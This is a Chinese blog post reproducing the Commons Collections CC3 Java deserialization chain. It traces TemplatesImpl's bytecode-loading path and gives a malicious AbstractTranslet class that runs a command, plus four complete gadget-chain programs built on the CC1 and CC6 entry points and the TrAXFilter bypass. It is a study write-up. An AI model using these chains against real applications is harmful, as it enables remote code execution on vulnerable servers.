java 反序列化 cc3 复现

版本要求:jdk版本<=8u65,common-collections版本<=3.2.1
在很多时候,Runtime会被黑名单禁用.在这些情况下,我们需要去构造自定义的类加载器来加载自定义的字节码.

类加载机制

双亲委派

这里直接粘别人的了.

实现一个自定义类加载器需要继承 ClassLoader ,同时覆盖 findClass 方法。
ClassLoader 里面有三个重要的方法 loadClass() 、findClass() 和 defineClass() 。
loadClass() 方法是加载目标类的入口,它首先会查找当前 ClassLoader 以及它的双亲里面是否已经加载了目标类,如果没有找到就会让双亲尝试加载,如果双亲都加载不了,就会调用 findClass() 让自定义加载器自己来加载目标类。ClassLoader 的 findClass() 方法是需要子类来覆盖的,不同的加载器将使用不同的逻辑来获取目标类的字节码。拿到这个字节码之后再调用 defineClass() 方法将字节码转换成 Class 对象。

想要理解java的类加载机制,最重要的是双亲委派机制.

类加载器根据全限定类名判断类是否加载,如果已经加载则直接返回已加载类。如果没有加载,类加载器会首先委托父类加载器加载此类。父类加载器也会采用相同的策略,查看是否自己已经加载该类,如果有就返回,没有就继续委托给父类进行加载,直到BootStrapClassLoader。如果父类加载器无法加载,就会交给子类进行加载,如果还不能加载就继续交给子类加载。顺序为 BootStrapClassLoader->ExtClassLoader->AppClassLoader->自定义类加载器
双亲委派机制的好处:
能够有效确保一个类的全局唯一性,当程序中出现多个限定名相同的类时,类加载器在执行加载时,始终只会加载其中的某一个类。加载的先后顺序其实确定了类被加载的优先级,如果出现了限定名相同的类,类加载器在执行加载时只会加载优先级最高的那个类。

动态加载

先来看一段代码.

package org.example;  
  
public class test {  
    {  
        System.out.println(1);  
    }  
  //实例初始化块,会在实例初始化之前被调用.
    static {  
        System.out.println(2);  
    }  
  //静态初始化块,会在类被初始化时被调用
    public test() {  
        System.out.println(3);  
    }  
  //构造函数,会在实例被初始化时调用
    public void aaa() {  
        System.out.println(4);  
    }  
    //一般函数,需要手动去调用
}

那我们看看两个例子

package org.example;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        String url = "org.example.test";  
        Class<?> classname = Class.forName(url);  //2
        test test1 = (test)classname.newInstance();  //1 3
        test1.aaa();  //4
    }  
}

Class.forName除了会进行类加载以外,还会进行类的初始化.

package org.example;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        String url = "org.example.test";  
        ClassLoader classloader = ClassLoader.getSystemClassLoader();  
        Class<?> clazz = classloader.loadClass(url);  
        test test1 = (test)clazz.newInstance();  //2 1 3
        test1.aaa();  //4
    }  
}

这里要解释一下为什么在loadClass的时候没有输出2,而是在后面输出的.因为loadClass仅对类进行加载而不去进行初始化,因此无法触发静态初始化块.

Templatesimpl类

这个类实现了Serializable接口,同时重写了defineClass,能够去加载自定义的类.

defineClass

Class defineClass(final byte[] b) {  
    return defineClass(null, b, 0, b.length);  
}

查找引用
image

defineTransletClasses

private void defineTransletClasses()  
    throws TransformerConfigurationException {  
  
    if (_bytecodes == null) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);  
        throw new TransformerConfigurationException(err.toString());  
    }  
  
    TransletClassLoader loader = (TransletClassLoader)  
        AccessController.doPrivileged(new PrivilegedAction() {  
            public Object run() {  
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());  
            }  
        });  
  
    try {  
        final int classCount = _bytecodes.length;  
        _class = new Class[classCount];  
  
        if (classCount > 1) {  
            _auxClasses = new HashMap<>();  
        }  
  
        for (int i = 0; i < classCount; i++) {  
            _class[i] = loader.defineClass(_bytecodes[i]);  
            final Class superClass = _class[i].getSuperclass();  
  
            // Check if this is the main class  
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  
                _transletIndex = i;  
            }  
            else {  
                _auxClasses.put(_class[i].getName(), _class[i]);  
            }  
        }  
  
        if (_transletIndex < 0) {  
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);  
            throw new TransformerConfigurationException(err.toString());  
        }  
    }  
    catch (ClassFormatError e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
    catch (LinkageError e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
}

这里面调用了defineClass,但是是私有的方法,继续查找引用
image

虽然getTransletIndex是public方法,但是这里选择getTransletInstance,原因下面说

getTransletInstance

private Translet getTransletInstance()  
    throws TransformerConfigurationException {  
    try {  
        if (_name == null) return null;  
  
        if (_class == null) defineTransletClasses();  
  
        // The translet needs to keep a reference to all its auxiliary  
        // class to prevent the GC from collecting them 
         AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();  
        translet.postInitialization();  
        translet.setTemplates(this);  
        translet.setServicesMechnism(_useServicesMechanism);  
        translet.setAllowedProtocols(_accessExternalStylesheet);  
        if (_auxClasses != null) {  
            translet.setAuxiliaryClasses(_auxClasses);  
        }  
  
        return translet;  
    }  
    catch (InstantiationException e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
    catch (IllegalAccessException e) {  
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);  
        throw new TransformerConfigurationException(err.toString());  
    }  
}

可以看到有这样一句非常的关键

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

完美的解决了在使用ClassLoader时只加载不初始化的问题.
注意这里的判断条件需要满足.

if (_name == null) return null;  
if (_class == null) defineTransletClasses();  

查找引用
image

newTransformer

public synchronized Transformer newTransformer()  
    throws TransformerConfigurationException  
{  
    TransformerImpl transformer;  
  
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,  
        _indentNumber, _tfactory);  
  
    if (_uriResolver != null) {  
        transformer.setURIResolver(_uriResolver);  
    }  
  
    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {  
        transformer.setSecureProcessing(true);  
    }  
    return transformer;  
}

wc总算找到public方法了.

Templatesimpl利用链

那么此时就可以去归纳梳理TemplatesLmpl利用链.
在defineTranslatedClasses中存在下面的内容

if (_bytecodes == null) {  
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);  
    throw new TransformerConfigurationException(err.toString());  
}

看看_bytecodes是干什么的.

private byte[][] _bytecodes = null;

这个数组中就是我们想要去反序列化的值.
按照上面的逻辑去写个脚本.

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        templatesimpl.newTransformer();  
    }  
}

一跑发现报错,老实了
image

跟进错误查看.发现是defineTransletClasses的一部分.

TransletClassLoader loader = (TransletClassLoader)  
    AccessController.doPrivileged(new PrivilegedAction() {  
        public Object run() {  
            return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());  
        }  
    });

跟进查看_tfactory

private transient TransformerFactoryImpl _tfactory = null;

发现初始化的值为null,所以会在调用getExternalExtensionsMap时出现报错.给他赋个初值.

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        templatesimpl.newTransformer();  
    }

跑一下,又爆了个空指针的错误
image

这三处报错是层层套的关系,再分析defineTransletClasses
当运行到这里的时候,_auxClasses的值为null,因此出现了空指针错误.

else {  
    _auxClasses.put(_class[i].getName(), _class[i]);  
}

然而向上追述发现这个_auxClasses的赋值是一个无法解决的问题

final int classCount = _bytecodes.length;  
_class = new Class[classCount];  
  
if (classCount > 1) {  
    _auxClasses = new HashMap<>();  
}

如果我们只给_bytecodes这个二维字节数组添加一个一维数组,那么就必然无法给_auxClasses赋值.
尝试使用反射去修改值,则出现了更大的问题.发现这个_auxClasses是用来指定defineClass加载的默认的类的,如果赋值的话则会出现更多的报错和问题.
只能使这个分支走上面的那个if

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  
    _transletIndex = i;  
}

断点调试发现此时superClass.getName的父类为java.lang.Object(这里的superClass指的就是恶意类test的父类).这不行,我们得让他的父类为AbstractTranslet才能够相等.改写test恶意类如下.

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
public class test extends AbstractTranslet {  
    static {  
        try {  
            Runtime.getRuntime().exec("calc");  
        } catch (Exception e) {  
            throw new RuntimeException("Exploit failed");  
        }  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
  
    }  
}

idea可以自动补全没有实现的方法,有点过于nb了.
运行成功弹出计算器.虽然还有报错,但是是在执行命令以后报的,类中没有进行捕获处理.但是我们已经执行命令了,索性也不管他.

对接cc1和cc6

由于我们最后使用的是newTransformer方法,该方法的返回值为一个Transformer对象.那么此时我们就有了对接cc1和cc6的能力.对接位置进行如下修改.

ConstantTransformer ct = new ConstantTransformer(templatesimpl);  
InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);  
Transformer[] transformers = {ct, it};

后面直接跟ChainedTransformer去构造链子即可.
AnotationInvocationHandler版本的利用链如下:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesimpl = new TemplatesImpl();

        Class<?> clazz = templatesimpl.getClass();
        Field field = clazz.getDeclaredField("_name");
        field.setAccessible(true);
        field.set(templatesimpl, "test");

        Field field2 = clazz.getDeclaredField("_bytecodes");
        field2.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
        byte[][] codes = {code};
        field2.set(templatesimpl, codes);

        Field field3 = clazz.getDeclaredField("_tfactory");
        field3.setAccessible(true);
        field3.set(templatesimpl, new TransformerFactoryImpl());

        ConstantTransformer ct = new ConstantTransformer(templatesimpl);
        InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
        Transformer[] transformers = {ct, it};

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", ""); //解释二
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一
		/*
		AnnotationInvocationHandler
		*/

        serial(poc);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
        in.readObject();
    }
}

LazyMap版本的利用链如下

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
import java.io.*;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.ExceptionPredicate;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
  
import java.lang.reflect.*;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class<?> clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        ConstantTransformer ct = new ConstantTransformer(templatesimpl);  
        InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);  
        Transformer[] transformers = {ct, it};  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);  
  
        HashMap<Object, Object> hashMap = new HashMap<>();  
        hashMap.put(tiedMapEntry, null);  
  
        Class clazz1 = TiedMapEntry.class;  
        Field field1 = clazz1.getDeclaredField("map");  
        field1.setAccessible(true);  
        field1.set(tiedMapEntry, lazymap);  
  
        serial(hashMap);  
        unserial();  
    }  
  
    public static void serial(Object obj) throws Exception {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws Exception {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

归纳总结得出利用链:
cc1出口的:

Gadget chain:
ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        AbstractInputCheckedMapDecorator.MapEntry.setValue()
            TransformedMap.checkSetValue()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    TemplatesImpl.defineClass()
                    InvokerTransformer.transform()

cc6出口的:

Gadget chain:
ObjectInputStream.readObject()
    HashMap.readObject() 
        TiedMapEntry.hashCode()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    TemplatesImpl.defineClass()
                    InvokerTransformer.transform()

绕过InvokerTransformer

然而我们对ysoserial工具进行反编译,发现他的cc2的payload不是像我们上面那样写的,而是绕过了InvokerTransformer.
查找TemplatesImplnewTransformer的用法
image

来到了TraxFilter类

TraxFilter

public TrAXFilter(Templates templates)  throws  
    TransformerConfigurationException  
{  
    _templates = templates;  
    _transformer = (TransformerImpl) templates.newTransformer();  
    _transformerHandler = new TransformerHandlerImpl(_transformer);  
    _useServicesMechanism = _transformer.useServicesMechnism();  
}

发现在构造方法中调用了templates.newTransformer();,templates的值是自己传入的.那么此时需要有一个能够触发别人构造方法多的类.

InstantiateTransformer

看transform方法

public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
        } catch (NoSuchMethodException var3) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException var4) {
            InstantiationException ex = var4;
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException var5) {
            IllegalAccessException ex = var5;
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException var6) {
            InvocationTargetException ex = var6;
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

忽略那一堆异常处理,直接看核心逻辑

Constructor con =((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);

这就很明显了,先获取了类型为Classinput参数的构造方法,构造方法的参数列表为this.iParamTypes,然后又创建了一个该类的实例并返回.
那么我们就可以得到修改后的衔接部分如下

ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
Transformer[] transformers = {ct, it};

比较好理解,获取的是TrAXFilter的构造方法,给构造方法传入的参数是Object[]{templatesimpl}
至此重新给出利用InstantiateTransformer的payload
AnotationInvokationHandler的:

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Map;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class<?> clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
        InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
        Transformer[] transformers = {ct, it};  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        /*  
        ChainedTransformer        */  
        HashMap<Object, Object> map = new HashMap<>();  
        map.put("value", ""); //解释二  
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);  
        /*  
        TransformedMap.decorate        */  
        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor annoConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class);  
        annoConstructor.setAccessible(true);  
        Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一  
       /*  
       AnnotationInvocationHandler       */  
        serial(poc);  
        unserial();  
    }  
  
    public static void serial(Object obj) throws IOException {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws IOException, ClassNotFoundException {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

LazyMap的:

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import javax.xml.transform.Templates;  
  
import java.io.*;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class<?> clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        String bytecodes = "_bytecodes";  
        Field field2 = clazz.getDeclaredField(bytecodes);  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
        InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
        Transformer[] transformers = {ct, it};  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);  
  
        HashMap<Object, Object> hashMap = new HashMap<>();  
        hashMap.put(tiedMapEntry, null);  
  
        Class clazz1 = TiedMapEntry.class;  
        Field field1 = clazz1.getDeclaredField("map");  
        field1.setAccessible(true);  
        field1.set(tiedMapEntry, lazymap);  
  
        serial(hashMap);  
        unserial();  
    }  
  
    public static void serial(Object obj) throws Exception {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws Exception {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}
posted @ 2024-11-14 20:03  meraklbz  阅读(7)  评论(0编辑  收藏  举报